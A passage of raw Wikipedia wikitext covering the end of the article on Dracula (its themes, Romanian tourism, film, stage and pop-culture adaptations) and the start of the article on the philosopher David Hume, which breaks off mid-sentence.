Van Helsing epitomizes this struggle because he uses, at the time, extremely modern technologies like blood transfusions; but he is not so modern as to eschew the idea that a demonic being could be causing Lucy's illness, thus he spreads garlic around the sashes and doors of her room and makes her wear a garlic necklace. After Lucy's death, he receives an indulgence from a [[Roman Catholic Church|Catholic]] cleric to use the [[Eucharist]] (held by the Church to be transubstantiated into the body and blood of [[Jesus]]) in his fight against Dracula. In trying to bridge the rational/superstitious conflict within the story, he cites then-new sciences, such as [[hypnotism]], that were only recently considered magical. He also quotes (without attribution) the [[United States|American]] [[psychologist]] [[William James]], whose writings on the power of belief become the only way to deal with this conflict. 

Jonathan Harker's character displays the problems of dwelling in a strictly rational modern world. Visiting Count Dracula in Eastern Europe, Jonathan scoffs at the peasants who tell him to delay his visit until after [[Saint George]]'s feast day. As a rational solicitor, Jonathan is concerned “with facts &amp;mdash; bare meagre facts, verified by books and figures, and of which there can be no doubt” (''Dracula''). All of Jonathan’s rationality weakens him to what he witnesses at Castle Dracula. For example, the first time Jonathan witnesses the Count crawling down the castle face down, he is in complete disbelief. Not believing what he sees, he attempts to explain what he saw as a trick of the moon light.

Despite the aforementioned problems of rationality in dealing with vampires, the characters of ''Dracula'' use (then) modern [[technology]] and rationalism to defeat the count. For example, during their pursuit of the vampire, they use [[railroads]] and [[steamships]], not to mention the [[Telegraphy|telegraph]], to keep a step ahead of him (in contrast, the count escapes in a sailboat). Van Helsing uses the aforementioned method of hypnotism to pinpoint Dracula's location. Mina even employs the then-primitive field of [[criminology]] to anticipate the count's actions, and cites both [[Cesare Lombroso]] and [[Max Nordau]], who at the time of the novel were considered experts in this field.

==Dracula in Romania==
After the death of [[Nicolae Ceau&amp;#351;escu]], a tourist industry sprung up in [[Transylvania]] (and, to a lesser extent, in [[Wallachia]]). However, Romanians have mixed feelings about linking one of their national heroes and the vampire monster.

Historical places connected to Vlad &amp;#354;epe&amp;#351; are publicised under a Dracula theme catering largely, but not entirely, to foreign markets. [[Bran Castle]], which has only a very tangential connection with the historical Vlad &amp;#354;epe&amp;#351;, now exaggerates that connection and promotes itself as &quot;Dracula's Castle&quot;. [http://www.draculascastle.com/] A dungeon-themed disco, catering to a mostly Romanian crowd and located in the basement of a former inn immediately adjacent to the [[Curtea Veche]] (&quot;Old Court&quot;) -- onetime site of Vlad &amp;#354;epe&amp;#351;' castle in [[Bucharest]] -- calls itself by the English-language name &quot;Impaler&quot;. The well-preserved medieval town of [[Sighi&amp;#351;oara]], Vlad &amp;#354;epe&amp;#351;'s birthplace, seriously considered building a Dracula [[theme park]] on the edge of town, but in the end it was decided that such a site would cheapen the beauty and history of the medieval city and the plan was blocked.  The park was then to have been built close to Bucharest (which is nowhere near Transylvania) but plans have subsequently been scrapped.

==Dracula in the arts==
''See also: [[Vampire fiction]]''
[[Image:DraculaLugosi1931Poster.jpg|thumb|[[1931]] film poster, promoting [[Bela Lugosi]]'s genre-defining turn as Dracula.]]

The character of Count Dracula has remained popular over the years, and many [[film]]s have used the character as a villain, while others have referenced him in movie titles such as ''[[Daughters of Dracula]],'' ''[[Lady Dracula]]'', and ''[[Zoltan, Hound of Dracula (film)|Zoltan, Hound of Dracula]]''.  An estimated 160 films ([[as of 2004]]) feature Dracula in a major role, a number second only to [[Sherlock Holmes]].  The total number of films that include a reference to Dracula may reach as high as 649 movies, according to the [[Internet Movie Database]].

Most tellings of the Dracula story include not only the Count, but the rest of the &quot;cast&quot;:  Jonathan and Mina Harker, Van Helsing, and Renfield. (Notably, the novel roles of characters Jonathan Harker and Renfield are more than occasionally reversed or combined, as are the roles of Mina and Lucy. Quincey Morris is usually omitted entirely.)

One of the first film adaptations of Stoker's story actually caused Stoker's estate to sue for [[copyright infringement]].  In [[1922]], [[silent film]] director [[F.W. Murnau]] made a [[horror film]] called ''[[Nosferatu|Nosferatu: eine Symphonie des Grauens]]'' ('Nosferatu: A Symphony of Horror'), which took the story of Dracula and set it in [[Germany]]&lt;!--it's a German film, but was it set in Germany?--&gt;.  In the story, Dracula's role was changed to that of [[Count Orlok]], one of the most hideous versions of the vampire ever to be created for a movie, played by [[Max Schreck]] (whose name literally means 'fright'). 

The Stoker estate won its lawsuit and all existing prints of ''Nosferatu'' were ordered to be destroyed.  However, a number of [[copyright infringement|pirated]] copies of the movie survived to the present era, where they entered the public domain.  ''Nosferatu'' was also remade [[1979 in film|in 1979]] by [[Werner Herzog]].

In [[1927]] the story was adapted for the Broadway stage by [[Hamilton Deane]] and [[John L. Balderston]] and starred [[Bela Lugosi]] and [[Edward Van Sloan]] as the Count and Van Helsing respectively. Lugosi initially learned his lines phonetically.

The [[1931 in film|1931]] film version of ''[[Dracula (1931 film)|Dracula]]'' starred [[Bela Lugosi]] and was directed by [[Tod Browning]]. It is one of the more famous versions of the story and is commonly considered a horror classic.  In [[2000]] the United States [[Library of Congress]] deemed the film &quot;culturally significant&quot; and selected it for preservation in the [[National Film Registry]]. It is an adaptation of the [[1927]] play and Van Sloan also transferred his role to the big screen.  The films only had music during the opening and closing credits. In [[1999]] [[Philip Glass]] was commissioned to compose a musical score to accompany the film. The current DVD release allows access to this music.

[[Image:dracula1931-spanish.jpg|thumb|200px|Carlos Villarías as Dracula in the George Medford-directed Spanish language version of the 1931 Tod Browning/Bela Lugosi classic.]]
At the same time as the Lugosi film a [[Spanish language]] version was filmed for release in Mexico. It was filmed at night using the same sets as the Tod Browning production with a different cast and crew (a common practice in the early days of sound films). [[George Melford|George Melford's]] was the director and it starred [[Carlos Villarías]] as the Count, [[Eduardo Arozamena]] as Van Helsing and [[Lupita Tovar]] as Eva.

Due to America's censorship laws, Medford's ''Dracula'' contains scenes that could not be put in the final cut of the more familiar English version.  There is considerable debate among fans over which film is better. Fans of Medford's version say the acting of the Spanish version is crisper and the pace is much quicker -- and there's no hammy close-ups of Lugosi.  It is also included on the available DVD.

During the era of the [[1930s]] and [[1940s]], the [[Universal Studios]] horror films made Dracula a household name by starring him as a villain in a number of movies, including several where he met other monsters (the most famous of which is the comedy ''[[Abbott and Costello Meet Frankenstein]]'' in which Lugosi played Dracula on film for only the second and final time.)  In these films he somehow gained control over the [[Frankenstein]] monster, and in a number of movies the monster acted as Dracula's servant, usually referring to the vampire Count as &quot;Master.&quot;

=== Universal Studios productions of Dracula ===
The Universal Studios films in which Dracula (or a relative) appeared (and the actor portraying the character) were:

# ''[[Dracula (1931 film)|Dracula]]'' ([[1931]] - [[Bela Lugosi]]. A second version was filmed simultaneously in Spanish, with [[Carlos Villarías|Carlos Villar]] as Dracula)
# ''[[Dracula's Daughter]]'' ([[1936]] - [[Gloria Holden]])
# ''[[Son of Dracula (1943 film)|Son of Dracula]]'' ([[1943]] - [[Lon Chaney, Jr.]])
# ''[[House of Frankenstein (1944 film)|House of Frankenstein]]'' ([[1944]] - [[John Carradine]])
# ''[[House of Dracula]]'' ([[1945]] - Carradine)
# ''[[Abbott and Costello Meet Frankenstein|Bud Abbott Lou Costello Meet Frankenstein]]'' ([[1948]] - Lugosi. This film is usually known as ''Abbott and Costello Meet Frankenstein'', however the title given here is the official on-screen title according to the Internet Movie Database.)

In [[1938]], [[Orson Welles]] and [[John Houseman]] chose ''Dracula'' to be the inaugural episode of the new radio show featuring their Broadway production company, ''[[Mercury Theatre|The Mercury Theatre on the Air]]''. The adaption was faithful to the book, although condensed to fit in the show's hour-long format. Welles was the voice of Dracula.

=== Hammer Films productions of Dracula ===
[[1958 in film|In 1958]], [[Hammer Films]] produced [[Dracula (1958 film)| Dracula (1958)]], a newer, more Gothic version of the story, starring [[Christopher Lee]] as Dracula and [[Peter Cushing]] as Van Helsing. It is widely considered to be one of the best versions of the story to be adapted to film, and in [[2004]] was named by the [[magazine]] ''[[Total Film]]'' as the 30th greatest British film of all time. Although it takes many liberties with the novel's plot, the creepy atmosphere and charismatic performance of Lee make it memorable and favored. It was released in the United States as ''Horror of Dracula'' to avoid confusion with the earlier Lugosi version. This was followed by a long series of Dracula films, usually featuring Lee as Dracula.

The Hammer films in which Dracula (or a relative) appeared (and the actor portraying the character) were:

# ''[[Dracula (1958 film)|Dracula]]'' ([[1958]]) - [[Christopher Lee]]. Released in the US as ''Horror of Dracula''
# ''[[The Brides of Dracula]]'' ([[1960]] - [[David Peel (actor)|David Peel]] as Dracula disciple Baron Meinster)
# ''[[Dracula: Prince of Darkness]]'' ([[1966]] - Lee)
# ''[[Dracula Has Risen from the Grave]]'' ([[1968]] - Lee)
# ''[[Taste the Blood of Dracula]]'' ([[1969]] - Lee)
# ''[[Scars of Dracula]]'' ([[1970]] - Lee)
# ''[[Dracula A.D. 1972]]'' ([[1972]] - Lee)
# ''[[The Satanic Rites of Dracula]]'' ([[1973]] - Lee).  Released in the US as ''Count Dracula and His Vampire Bride''
# ''[[The Legend of the 7 Golden Vampires|The Legend of the Seven Golden Vampires]]'' ([[1974]] - [[John Forbes-Robertson]]).  Variously released as ''The Seven Brothers Meet Dracula'' and ''Dracula and the Seven Golden Vampires''
Christopher Lee, the British actor who played in the Hammer Dracula films, reminisced in a 1999 inteview for NPR: http://www.npr.org/templates/story/story.php?storyId=1065958

=== Other productions 1969 - 1979 ===
[[Count Dracula (1969 film)]], directed by [[Jesus Franco]] starring Christopher Lee as Dracula. While not a part of the Hammer series some fans feel that it is close to the spirit of the book.

[[1972 in film|In 1972]], [[Paul Naschy]] starred in [[Dracula's Great Love]], directed by [[Javier Aguirre]] for the Spanish production company Janus Films. This movie predated the vision of Dracula as a romantic character to [[Francis Ford Coppola]]'s by 20 years.

[[1973 in film|In 1973]], a major television movie version starring [[Jack Palance]] was produced by [[Dan Curtis]], best known for producing the gothic [[soap opera]] ''Dark Shadows''. Filmed in [[Socialist Federal Republic of Yugoslavia|Yugoslavia]] and England, it was a fairly faithful and moody piece.

[[1974 in film|In 1974]], [[Andy Warhol]] presented an outrageously campy [[Dracula]] (a.k.a. &quot;[[Blood for Dracula]]&quot;), directed by [[Paul Morrissey]] and starring cult icon [[Udo Kier]].

[[Dracula Père et Fils 1976]], [[Christopher Lee]] French movie starring Christopher Lee as Dracula

[[1977]] saw a BBC version made for television starring [[Louis Jourdan]]. This version is one of the more faithful adaptations of the book. It includes all of the main characters from the book (only blending together Arthur and Quincey) and has scenes of Jonathon recording events in his diary and Dr. Seward speaking into his dictaphone.

[[1977]] also saw a revival of the 1927 broadway version. The atmospheric sets and costumes were designed by [[Edward Gorey]]. The Count was portrayed by [[Frank Langella]]  and, like Lugosi before him, he would go on to perform the role on the big screen. The same Gorey sets and costumes were used for a U.S. touring version of the play starring [[Jeremy Brett]]. The Deane-Balderston lines were altered somewhat and played for a more comedic effect.

In [[1978]], an independent film company produced the horror thriller ''[[Zoltan, Hound of Dracula (film)|Zoltan, Hound of Dracula]]'' starring [[Michael Pataki]] as the mild-mannered family psychiatrist destined to encounter the resurrected hound of Dracula.

In [[1979]], [[Frank Langella]] starred opposite [[Laurence Olivier]] as a sexually charged version of the Count in a new film version. It is considered of uneven quality, though the [[John Williams]] score is superb.  That year also saw the release of ''[[Love at First Bite]]'', a [[romantic comedy film|romantic comedy]] spoof set in contemporary [[New York City]] starring [[George Hamilton (actor)|George Hamilton]] as the count.

=== Dracula movies 1980 - 1999 ===
In [[1992]], [[Francis Ford Coppola]] produced and directed a new version of the film, called ''[[Bram Stoker's Dracula]]'' starring [[Gary Oldman]], [[Winona Ryder]], [[Keanu Reeves]], and [[Anthony Hopkins]]. Coppola's story includes a subplot in which Mina Harker was revealed to be the [[reincarnation]] of Dracula's greatest love.  This story is not part of Stoker's original.  The soundtrack includes 'Lovesong for a Vampire' by [[Annie Lennox]].

In [[1995]], [[Mel Brooks]] did a comedic parody, ''[[Dracula: Dead and Loving It]]'', which parodied all of the standard Dracula themes, but especially noteworthy was the scene where Dracula's reflection was noticeably absent in a mirror as he danced at a ball, to the horror of those watching.  [[Mel Brooks]] played Van Helsing as an aged Professor. Dracula was played by [[Leslie Nielsen]].

=== Dracula movies 2000 to present ===
[[Patrick Lussier]] took a stab at the legend with his modern day ''[[Dracula 2000]]'', promoted as ''Wes Craven Presents Dracula 2000''. [[Wes Craven]] was an executive producer. It was released in the UK as ''Dracula 2001''. To discover how to destroy Dracula, Van Helsing (portrayed by [[Christopher Plummer]]) keeps himself alive with injections of Dracula's blood. When thieves steal the vampire and crash near [[New Orleans]], Van Helsing and his ward must track down the vampire and save Van Helsing's daughter Mary.

In 2002, Canadian cult film director [[Guy Maddin]] released his screen adaptation of the Royal Winnipeg Ballet's version of the count's tale, a [[ballet]] set to the music of [[Gustav Mahler]] and titled ''[[Dracula: Pages from a Virgin's Diary]]''. 

The character of Mina Harker appeared in the 2003 film adaptation of the [[graphic novel]] ''[[The League of Extraordinary Gentlemen]]'' as a vampiric heroine played by [[Peta Wilson]].

''[[Van Helsing]]'' is a film based on the vampire-hunter Van Helsing from the book, only reinvented as an immortal action hero assigned by the [[Vatican City|Vatican]] to kill monsters. [[Richard Roxburgh]] portrays Dracula in this reinvigoration of the 1930s and 1940s Universal Horror monsters which also featured new versions of the [[Frankenstein Monster]] and [[The Wolf Man]]. In this movie, Dracula is somewhat of a super vampire and cannot be killed by the normal methods that can kill a vampire. 

A character named Drake serves as the primary antagonist in ''[[Blade: Trinity]]'', in which a group of vampires summon him in order to finally defeat Blade. While he is not confirmed directly to be Dracula, Drake is implied to have lived under several different aliases and personalities, one of which may have been the infamous vampire.

[[2005]] saw the premiere of Dracula's most recent play incarnation, an adaptation by playwright [[P. Shane Mitchell]]. A French Canadian musical production (&quot;Dracula: Entre l'amour et la mort&quot;[http://www.zone3.ca/dracula/index.htm]) opened in Montreal in January 2006, starring Bruno Pelletier.

==Popular culture==
Like ''Frankenstein'', ''Dracula'' has inspired many literary tributes or parodies, including [[Stephen King]]'s ''[[Salem's Lot]]'', [[Kim Newman]]'s ''[[Anno Dracula]]'', [[Anne Rice]]'s ''[[Interview with the Vampire]]'', [[Elizabeth Kostova]]'s ''[[The Historian]]'', [[Fred Saberhagen]]'s ''The Dracula Tape'', [[Wendy Swanscombe]]'s [[pornography|erotic]] parody ''[[Vamp (movie)|Vamp]]'', and [[Dan Simmons]]'s ''Children of the Night''.  [[Loren D. Estleman]]'s novel ''The Case of the Sanguinary Count'' pits Dracula against that equally venerable Victorian-era character, [[Sherlock Holmes]]. [[Freda Warrington]]'s ''Dracula the Undead'' is a sequel to ''Dracula''.

Dracula has been a recurring character in many [[comic book]]s, most notably, the [[Marvel comic]] ''[[Tomb of Dracula]]'' written primarily by [[Marv Wolfman]] (following two issues each by [[Gerry Conway]], [[Archie Goodwin]] and [[Gardner Fox]]) and drawn by [[Gene Colan]] for [[Marvel Comics]] in the [[1970s]]. Mina Harker is a member of the ''[[League of Extraordinary Gentlemen]]'', a [[pastiche]] [[comic book]], and film featuring numerous [[Victorian era|Victorian]] characters. One popular [[Elseworlds]] book by [[DC Comics]] is ''[[Batman and Dracula]]: Red Rain'', which features the caped crusader fighting Dracula, who has come to [[Gotham City]]. An animated movie called ''The Batman vs. Dracula'' pitting the two characters against one another aired on Cartoon Network and has been released on DVD.

In most [[videogame]]s of the ''[[Castlevania]]'' series (known as &quot;Akumajo Dracula&quot; in [[Japan]]), Count Vlad Tepes Dracula, as he is known in the series, is the ultimate source of evil that the protagonists must confront, after adventuring through Dracula's [[castle]].  The other aspect in relations to the Count is his son, Adrian Farenheights Tepes, commonly known as &quot;[[Alucard]]&quot;, who has dedicated his life to insure the survival of the human race and the preventing of his father's tyranny.  Now-defunct software company [[CRL Group PLC|CRL]] produced a series of games in the 1980s featuring classic horror classics including Dracula. These were the first game titles in the UK to receive [[British Board of Film Classification|BBFC]] certification (they were rated &quot;15&quot;), normally reserved for films and videos. There were two adventure games, Dracula: Resurrection and The Last Sanctuary. Both took place after the novels end and continued Jon and Mina's fight against the Count. 

In the [[manga]] and [[anime]] series ''[[Hellsing]]'', the vampire [[Alucard]] (note: Dracula spelled backwards) is Dracula himself, having been magically bound into servitude to the [[Integra Hellsing|Hellsing family]] rather than being destroyed outright. Dracula has also appeared as a villain on the series ''[[Buffy the Vampire Slayer]].'' 

In the manga and anime series ''[[Vampire Hunter D]]'' which takes place ten thousand years in the future, D's adversary Count Magnus discovers that D is the son of Dracula, the Ancient Ancestor.

Dracula has even been adapted for children's literature and entertainment, serving as the basis for several vampire cartoon characters over the years.  Dracula (or at least his portrayal by Bela Lugosi) is the basis for the [[Muppet]] character named [[Count von Count]] on ''[[Sesame Street]].'' Cartoon vampires based upon Dracula also include [[Nickelodeon]]'s ''[[Count Duckula]]'', [[Filmation]]'s ''[[Quackula]]'', and [[Count Chocula]], the animated mascot of the [[breakfast cereal]] of the same name.

In addition, Dracula, The Wolf Man, The Mummy, Frankenstein's Monster, and the Creature from the Black Lagoon all appeared in a 1980s movie called ''The Monster Squad'' in which a magical amulet, and it's survival or destruction every hundred years, will turn the tide one way or the other in the neverending struggle between the forces of good and evil. Dracula is at his deadly best in this film, surviving all the way to the end of the film, where he is shown battling Abraham Van Helsing in his final scene in the film.

The association of the book with the [[Yorkshire]] fishing village of [[Whitby]] has led to the staging of the twice-yearly [[Whitby Gothic Weekend]], an event that sees the town visited by [[Goth|Goths]] from all over Britain and occasionally from other parts of the world.

==See also==
*[[Elizabeth Báthory]]
*[[Sheridan le Fanu|Joseph Sheridan Le Fanu]]
*[[Vlad III Dracula]]
*[[Tsutomu Miyazaki]]
*[[Alucard]], Dracula spelled backwards
*[[Blacula]]

==Further reading==
* [[Christopher Frayling]] - ''Vampyres: Lord Byron to Count Dracula'' (1992) ISBN 0571167926

==External links==
* [http://www.movie-monsters.co.uk/evil.html Dracula in cinema]
* [http://www.spirit.ro/index.php?option=content&amp;task=view&amp;id=33&amp;Itemid= The Politics of Count Dracula]
{{wikisource}}
* {{gutenberg|no=345|name=Dracula}}
* [http://www.classic-literature.co.uk/bram-stoker/dracula/ ''Dracula''] - [[HTML]] version of this classic book 
* [http://www.ucs.mun.ca/~emiller/ Elizabeth Miller's Dracula Page - details on her Dracula theories]
* [http://home.kc.rr.com/technoir Dracula's Gallery - Images from the various film and stage adaptations of Bram Stoker's novel]
*[http://www.pilotguides.com/destination_guide/europe/hungary_and_romania/dracula.php Pilot guides: The real Count Dracula]
* [http://www.dreamsmith-graphics.com/wizglass/vlad.html Vlad Dracul (1390? - 1447)]
* [http://www.straightdope.com/classics/a2_131 The Straight Dope: Did Dracula really exist?]
* [http://sabin.ro/gallery/album233 Pictures of Bran Castle in Transylvania, Romania - known as Dracula's Castle according to the legend]
* [http://www.cus.cam.ac.uk/~jrh11/DracParNEW.doc ''The Tale of Dracula'' Russian manuscript circa 1490, with translation (MS Word format)]


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    <title>David Hume</title>
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      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophy |
  era             = [[18th-century philosophy]], |
  color           = #B0C4DE |

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  image_name      = DavidHume.jpg |
  image_caption   = David Hume |

  &lt;!-- Information --&gt;
  name             = David Hume |
  birth            = [[April 26]], [[1711]] ([[Edinburgh]], [[Scotland]]) |
  death            = [[August 25]], [[1776]] ([[Edinburgh]], [[Scotland]]) |
  school_tradition = [[Empiricism]],&lt;br&gt;[[Scottish Enlightenment]] |
  main_interests   = [[Metaphysics]], [[Epistemology]], [[Mind]], [[Ethics]], [[Political philosophy|Politics]], [[Aesthetics]], [[Philosophy of religion|Religion]] |
  influences       = [[John Locke|Locke]], [[George Berkeley|Berkeley]], [[Francis Hutcheson (philosopher)|Hutcheson]], [[Isaac Newton|Newton]] |
  influenced       = [[Immanuel Kant|Kant]], [[Jeremy Bentham|Bentham]], [[Charles Darwin|Darwin]], [[Bertrand Russell|Russell]], [[T. H. Huxley]], [[J. S. Mill]], [[Alfred Jules Ayer|Ayer]] |
  notable_ideas    = [[Causality|Problem of causation]], [[Induction]], [[Is-ought problem]] |
}}
'''David Hume''' ([[April 26]], [[1711]] &amp;ndash; [[August 25]], [[1776]]*)  was a [[Scotland|Scottish]] [[philosopher]] and [[historian]]. Hume was one of the most important figures in the [[Scottish Enlightenment]], along with friends [[Adam Smith]] and [[Thomas Reid]].  Many regard Hume as the third and most radical of the so-called [[British Empiricists]], after the [[England|English]] [[John Locke]] and the [[Anglo-Irish]] [[George Berkeley]]. 

Historians most famously see Humean philosophy as a thoroughgoing form of [[skepticism]], but many commentators have argued that the element of [[naturalism (philosophy)|naturalism]] has no less importance in Hume's philosophy. Hume scholarship has tended to oscillate over time between those who emphasize the sceptical side of Hume (such as Reid, [[Greene]], and the [[logical positivists]]), and those who emphasize the naturalist side (such as [[Don Garrett]], [[Norman Kemp Smith]], [[Kerri Skinner]], [[Barry Stroud]], and [[Galen Strawson]]).

Hume was heavily influenced by [[empiricist]]s [[John Locke]] and [[George Berkeley]], along with various [[French language|Francophone]] writers such as [[Pierre Bayle]], and various figures on the [[English language|Anglophone]] intellectual landscape such as [[Isaac Newton]], [[Samuel Clarke]], [[Francis Hutcheson (philosopher)|Francis Hutcheson]], and [[Joseph Butler]].

The attempts to categorise Hume have reflected many of the current philosophical interests of their periods. They included &quot;''perhaps … only a very clever man&quot;'' ([[Taylor]], 1927*) , &quot;''positivist&quot;'' ([[Russell]], 1946*; [[Kolakowski]], 1968*), &quot;''cynical conservative&quot;'' ([[Stephen]], 1962*), &quot;''materialist&quot;'' ([[Anderson]], 1966*), &quot;''realist&quot;'' ([[Popper]], 1970*), &quot;''phenomenologist&quot;'' ([[Husserl]], 1970*), &quot;''naturalist&quot;'' ([[Stroud]], 1977*), &quot;''idealist&quot;'' ([[Ayer]], 1980*), &quot;''empiricist&quot;'' ([[Gregory]], 1981*; [[Livingston]], 1989*), &quot;''Pyrrhonian sceptic&quot;'' ([[Flew]], 1986*), &quot;''the prophet of the Wittgensteinian revolution&quot;'' ([[Phillipson]], 1989*), &quot;''neo-Hellenist&quot;'', ([[Penelhum]], 1993*), &quot;''the first post-sceptical philosopher of the early modern period&quot;'' ([[Norton]], 1993*), &quot;''radical perspectivalist&quot;'' ([[Fogelin]], 1993*). Hume’s own description of his position is one of &quot;''mitigated scepticism&quot;'' (Hume, 1777, 162*).

*''(N.B. The birthdate is [[May 7]] by the [[Gregorian calendar]] of his time; this date being used by the [[International Humanist and Ethical Union]] when celebrating his birthday)''

==Career==
By his own account, Hume ''&quot;was born the 26th&amp;nbsp;April 1711, old style, at [[Edinburgh]]&quot;''.  From time to time throughout his life, he repaired to the family home at Ninewells by [[Chirnside]], [[Berwickshire]], [[Scotland]]. He was sent to the [[University of Edinburgh]] at the unusually early age of twelve, fourteen would have been more normal.  At first he considered a career in [[Scots law|law]], but came to have, in his words, ''&quot;an insurmountable aversion to everything but the pursuits of Philosophy and general Learning; and while (my family) fanceyed I was poring over Voet and Vinnius, Cicero and Vergil were the Authors which I was secretly devouring.&quot;'' He had little respect for professors telling a friend in [[1735]] &quot;''there is nothing to be learned from a Professor, which is not to be met with in Books.&quot;''

At the age of eighteen, in [[1729]], Hume made a philosophical discovery that opened up to him &quot;''a new scene of thought&quot;''. He did not recount what this was, but it seems likely to have been his theory of [[causality]] - that our beliefs about cause and effect depend on sentiment, custom and habit, and not upon [[reason]] or abstract, timeless, general [[Laws of Nature]]. 

In [[1734]], after a few months in commerce in Bristol, he retreated to do [[self-study]] and conduct [[thought experiments]] on himself at [[La Fleche]] in [[Anjou]], [[France]]. During his four years there, he laid out his life plan, as he wrote in ''[[My Own Life]]'', resolving &quot;''to make a very rigid frugality supply my deficiency of fortune, to maintain unimpaired my independency, and to regard every object as contemptible except the improvements of my talents in literature.&quot;''  While there, he completed ''[[A Treatise of Human Nature]]'' at the age of twenty-six.  Although many scholars today consider the ''Treatise'' to be Hume's most important work and one of the most important books in the history of philosophy, the public in [[Kingdom of Great Britain|Great Britain]] did not at first agree. Hume himself described the (lack of) public reaction to the publication of the ''Treatise'' in 1739&amp;ndash;40 by writing that it ''&quot;fell dead-born from the press, without reaching such distinction as even to excite a murmur among the zealots. But being naturally of a cheerful and sanguine temper, I soon recovered from the blow and prosecuted with great ardour my studies in the country&quot;''.There he wrote ''An Abstract Of A book lately published; Entituled, A Treatise Of human nature, &amp;c. Wherein The chief argument of that Book is farther illustrated and Explained''. Without revealing his authorship, he aimed to make his larger work more intelligible by shortening it. Even this advertisement failed to enliven interest in the ''Treatise''. 

After the publication of ''[[Essays Moral and Political]]'', in [[1744]] he applied for the Chair of Ethics and Pneumatics (psychology) at [[Edinburgh University]] but was rejected.  During the [[Jacobite Rebellion]] of [[1745]] he tutored the Marquise of Annandale. It was then that he started his great historical work ''[[The History of Great Britain]]'' which would take fifteen years and run to over a million words, to be published in six volumes in the period [[1754]] to [[1762]]. In [[1748]] he served, in uniform,  for three years as Secretary to [[General St Clair]] writing his ''Philosophical Essays concerning Human Understanding'' later published as ''[[An Enquiry concerning Human Understanding]]''.This did not prove much more successful than the ''Treatise''.

Hume was charged with [[heresy]] but he was defended by his young clerical friends who argued that as an [[atheist]] he lay outside the jurisdiction of the [[Church of Scotland|Church]]. Despite his acquittal, and, possibly, due to the opposition of [[Thomas Reid]] of [[Aberdeen]] who, that year, launched a telling Christian critique of his metaphysics, Hume failed to gain the Chair of Philosophy at [[University of Glasgow | Glasgow]]. It was in [[1752]], as he wrote in ''My Own Life'', that ''&quot;the Faculty of Advocates chose me their Librarian, an office from which I received little or no emolument, but which gave me the command of a large library.&quot;'' It was this resource that enabled him to continue his historical research for his ''History''. 

Hume achieved great literary fame as an essayist and historian. His enormous ''[[History of Great Britain]]'' from the [[Saxon]] kingdoms to the [[Glorious Revolution]]  was a best-seller in its day. In it, Hume presented political man as a creature of habit, with a disposition to submit quietly to established government unless confronted by uncertain circumstances. In his view, only religious difference could deflect men from their everyday lives to think about political matters. 

Hume's early essay ''[[Of Superstition and Religion]]'' laid the foundations for nearly all secular thinking about the history of religion. Critics of religion during Hume's time needed to express themselves cautiously. Less than 15 years before Hume was born, 18-year-old college student [[Thomas Aikenhead]] was put on trial for saying openly that he thought Christianity was nonsense, was convicted and hanged for [[blasphemy]].  Hume followed the common practice of expressing his views obliquely, through characters in dialogues. Hume did not acknowledge authorship of ''Treatise'' until the year of his death, in 1776.  His essays ''[[Of Suicide]]'', and ''[[Of the Immortality of the Soul]]'' and his ''[[Dialogues Concerning Natural Religion]]'' were held from publication until after his death (published 1778 and 1779, respectively), and they still bore neither author's nor publisher's name. So masterful was Hume in disguising his own views that debate continues to this day over whether Hume was actually a [[deism|deist]] or an [[atheism|atheist]]. Regardless, in his own time Hume's alleged atheism caused him to be passed over for many positions.

There is an old (and probably false) story about David Hume and his supposed atheism.  In the story, Hume falls off his horse into a pool of mud and is slipping in it, when an old and pious lady walks past.  When she sees the renowned atheist flapping about for his life, she walks to the edge and looks at him.  Hume urges the lady to pass him a stick to pull him out, but she refuses unless he declare his devotion to [[God]] Almighty.  Hume accedes and the lady helps him out.

From [[1763]] to [[1765]] Hume was Secretary to [[Lord Hertford]] in [[Paris]], where he was admired by Voltaire and lionised by the ladies in society. He made friends with and, later, fell out with Rousseau. He wrote of his Paris life ''&quot;I really wish often for the plain roughness of the [[Poker Club]] of Edinburgh . . . to correct and qualify so much luciousness.&quot;''  For a year from [[1767]], Hume held the appointment of Under Secretary of State for the Northern Department. In [[1768]] he settled in [[Edinburgh]]. Attention to Hume's philosophical works grew after the [[Germany|German]] philosopher [[Immanuel Kant]] credited Hume with awakening him from ''&quot;dogmatic slumbers&quot;''  (''circa'' 1770) and from then onwards he gained the recognition that he had craved all his life. 

Hume wrote his own epitaph:''&quot;Born 1711, Died [----]. Leaving it to posterity to add the rest.&quot;'' It is engraved with the year of his death [[1776]]  on the ''&quot;simple Roman tomb&quot;'' which he prescribed, and which stands, as he wished it, on the Eastern slope of the [[Calton Hill]] overlooking his home in the New Town of Edinburgh at No. 1 St David’s Street.

==Legacy==
Though Hume wrote in the [[18th century]], his work seems still uncommonly relevant in the philosophical disputes of today compared to that of his contemporaries. A summary of some of Hume's most influential work in philosophy might include the following::

===Ideas and impressions===
Hume believes that all human knowledge comes to us through our senses.  Our perceptions, as he called them, can be divided into two categories:  ideas and impressions.  He defines these terms thus in his ''[[An Enquiry Concerning Human Understanding]]'': &quot;By the term impression, then, I mean all our more lively perceptions, when we hear, or see, or feel, or love, or hate, or desire, or will. And impressions are distinguished from ideas, which are the less lively perceptions, of which we are conscious, when we reflect on any of those sensations or movements above mentioned.&quot;  He further specifies ideas, saying, &quot;It seems a proposition, which will not admit of much dispute, that all our ideas are nothing but copies of our impressions, or, in other words, that it is impossible for us to think of anything, which we have not antecedently felt, either by our external or internal senses.&quot;  This forms an important aspect of Hume's [[Philosophical skepticism | skepticism]], for he says that we cannot be certain a thing, such as [[God]], a [[soul]], or a [[self]], exists unless we can point out the impression from which the idea of the thing is derived.

===The problem of causation===
When one event continually follows after another, most people think that a connection between the two events ''makes'' the second event follow from the first (post hoc ergo propter hoc). Hume challenged this belief in the first book of his ''Treatise of Human Nature'' and later in his ''Enquiry Concerning Human Understanding''. He noted that although we do perceive the one event following the other, we do not perceive any [[necessary and sufficient conditions | necessary]] connection between the two. And according to his skeptical epistemology, we can only trust the knowledge that we acquire from our perceptions. Hume asserted that our idea of [[Causality|causation]] consists of little more than expectation for certain events to result after other events that precede them. Such a lean conception robs causation of all its force, and some later Humeans like [[Bertrand Russell]] have dismissed the notion of causation altogether as something akin to [[superstition]]. But this defies common sense, thereby creating the problem of causation &amp;ndash; what justifies our belief in a causal connection and what kind of connection can we have knowledge of?  &amp;ndash; a problem which has no accepted solution. Hume held that we (and other animals) have an [[instinct | instinctive]] belief in causation based on the development of habits in our [[nervous system]], a belief that we cannot eliminate, but which we cannot prove true through any argument, [[Deductive reasoning|deductive]] or [[Induction 